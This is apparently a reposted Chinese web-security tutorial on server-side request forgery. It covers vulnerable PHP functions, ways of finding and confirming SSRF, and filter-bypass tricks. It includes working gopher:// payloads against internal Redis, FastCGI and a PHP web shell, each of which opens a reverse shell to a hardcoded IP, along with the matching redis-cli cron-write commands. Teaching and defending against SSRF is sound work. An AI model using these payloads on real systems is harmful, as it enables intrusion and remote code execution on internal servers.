【37】WEB安全学习----SSRF攻击

半城伤御伤魂 提交于 2019-12-07 01:49:28

一、攻击原理

SSRF:服务端请求伪造,不要把它和CSRF(跨站点请求伪造)攻击搞混了哦,CSRF利用的是客户端请求,而SSRF利用的是服务器端请求,这个是本质区别。

简单来说,SSRF攻击原理是服务器端请求了来自客户端构造的链接,这个是不是和CSRF攻击类似呢,攻击者构造的请求由客户端用户执行了,没错,都是由攻击者构造了请求,不过一个是用户浏览器端执行,一个是服务器端执行。

但这其中的原理不是相同的哦:CSRF攻击利用的是浏览器请求会自动附带该站点的用户身份标识,而SSRF攻击和用户身份标识没有半毛钱关系,通过SSRF攻击,我们可以指定服务器访问某些链接,那么问题来了,我们可以控制服务器访问某些链接,可以达到什么目的呢?

1、进行端口探测:我们知道,可以通过HTTP加端口号来探测指定服务器端口是否开放。如http://127.0.0.1:80,那么就可以利用SSRF进行端口扫描了,有些服务还会返回banner信息,如ssh、FTP等,那么就可以完成内网端口探测了。

2、读取任意文件:如果服务器支持file协议,还可以通过file协议读取任意文件。

3、其它利用,基于HTTP-GET请求攻击,如溢出、sql注入等等,一般是无法外网直接访问,由服务器端发起攻击。

二、SSRF攻击演示

既然知道了SSRF攻击是由于服务器端执行了来自客户端的发起请求,那么首先需要了解下有哪些函数可能会导致SSRF攻击。还是以PHP语言为例。

file_get_contents()

该函数可以远程/本地读取文件,然后返回文件的内容。我们可以利用此函数进行如:查看指定网站的源码、下载指定网站的图片、文件等等。

<?php
    header('Content-Type:text/plain;charset=utf-8');
    $str1=file_get_contents("http://www.baidu.com");  //读取百度的HTML源码
    print_r($str1);
?>

那么,如果这里的URL可控的话,就导致了SSRF攻击了。

如,有的网页工具支持查看指定网站源码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>查看指定网站源码</title>
</head>
<body>
    <form action="" method="post">
        URL:<input type="text" name="url" id="">
        <input type="submit" value="查看"">
    </form>
</body>
<?php
    if(isset($_POST['url'])){
        $url=$_POST['url'];
        header('Content-Type:text/plain;charset=utf-8');
        $str1=file_get_contents($url);
        print_r($str1);
    }
?>
</html>

端口扫描:

通过指定不同的端口,通过判断返回内容或返回时间、状态等进行判断端口是否开放。

读取文件:file协议

gopher协议

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

攻击内网 Redis:

Redis 任意文件写入现在已经十分受到广大渗透狗们的欢迎,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。

首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

攻击 FastCGI:

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。

构造 Gopher 协议的 URL:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

攻击内网 Vulnerability Web:

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127.0.0.1 访问的 exp.php,内容为:

<?php system($_POST[e]);?>  

利用方式:

POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261

构造 Gopher 协议的 URL:

gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

fsockopen()

该函数可以打开一个网络连接或者一个Unix套接字连接。

curl_exec()

该函数可以执行 cURL 会话。

等等,一些可以获取或链接到远程服务器的函数。

三、SSRF 漏洞的寻找

从WEB功能上寻找

我们从上面的概述可以看出,SSRF是由于服务端获取其他服务器的相关信息的功能中形成的,因此我们大可以列举几种在web 应用中常见的从服务端获取其他服务器信息的的功能。

1)分享:通过URL地址分享网页内容

早期分享应用中,为了更好的提供用户体验,WEB应用在分享功能中,通常会获取目标URL地址网页内容中的<tilte></title>标签或者<meta name="description" content=“”/>标签中content的文本内容作为显示以提供更好的用户体验。例如人人网分享功能中:

 

 

1

http://widget.renren.com/*****?resourceUrl=https://www.sobug.com

 

通过目标URL地址获取了title标签和相关文本内容。而如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。

根寻这个功能,我们可以发现许多互联网公司都有着这样的功能,下面是我从百度分享集成的截图如下:

 

 

从国内某漏洞提交平台上提交的SSRF漏洞,可以发现包括淘宝、百度、新浪等国内知名公司都曾被发现过分享功能上存在SSRF的漏洞问题。

2)转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。

3)在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等

4)图片加载与下载:通过URL地址加载或下载图片

图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(此处可能会有人有疑问,为什么加载图片服务器上的图片也会有问题,直接使用img标签不就好了? ,没错是这样,但是开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)。

5)图片、文章收藏功能

此处的图片、文章收藏中的文章收藏就类似于功能一、分享功能中获取URL地址中title以及文本的内容作为显示,目的还是为了更好的用户体验,而图片收藏就类似于功能四、图片加载。

6)未公开的api实现以及其他调用URL的功能

此处类似的功能有360提供的网站评分,以及有些网站通过api获取远程地址xml文件来加载内容。

在这些功能中除了翻译和转码服务为公共服务,其他功能均有可能在企业应用开发过程中遇到。

二、从URL关键字中寻找

在对功能上存在SSRF漏洞中URL地址特征的观察,通过我一段时间的收集,大致有以下关键字:
 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

share

wap

url

link

src

source

target

u

3g

display

sourceURl

imageURL

domain

...

如果利用google 语法加上这些关键字去寻找SSRF漏洞,耐心的验证,现在还是可以找到存在的SSRF漏洞。

SSRF 漏洞的验证

1)基本判断(排除法)

例如:    

1

http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png

排除法一:

你可以直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd_logo1.png,说明不存在SSRF漏洞。

排除法二:

你可以使用burpsuite等抓包工具来判断是否不是SSRF,首先SSRF是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的,所以在我们本地浏览器的请求中就不应该存在图片的请求,在此例子中,如果刷新当前页面,有如下请求,则可判断不是SSRF。(前提设置burpsuite截断图片的请求,默认是放行的)

 

 

此处说明下,为什么这边用排除法来判断是否存在SSRF,举个例子:

 

 

1

http://read.*******.com/image?imageUrl=http://www.baidu.com/img/bd_logo1.png

现在大多数修复SSRF的方法基本都是区分内外网来做限制(暂不考虑利用此问题来发起请求,攻击其他网站,从而隐藏攻击者IP,防止此问题就要做请求的地址的白名单了),如果我们请求 :

1

http://read.******.com/image?imageUrl=http://10.10.10.1/favicon.ico

而没有内容显示,我们是判断这个点不存在SSRF漏洞,还是http://10.10.10.1/favicon.ico这个地址被过滤了,还是http://10.10.10.1/favicon.ico这个地址的图片文件不存在,如果我们事先不知道http://10.10.10.1/favicon.ico这个地址的文件是否存在的时候是判断不出来是哪个原因的,所以我们采用排除法。

绕过姿势

1、@

http://abc@127.0.0.1
  •  

2、添加端口号

http://127.0.0.1:8080
  •  

3、短地址

http://dwz.cn/11SMa
  •  

4、可以指向任意ip的域名:xip.io

<pre> <strong> 10.0.0.1</strong>.xip.io   resolves to   10.0.0.1
  www.<strong>10.0.0.1</strong>.xip.io   resolves to   10.0.0.1
  mysite.<strong>10.0.0.1</strong>.xip.io   resolves to   10.0.0.1
  foo.bar.<strong>10.0.0.1</strong>.xip.io   resolves to   10.0.0.1

5、ip地址转换成进制来访问

115.239.210.26 = 16373751032

 

 

 

 

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!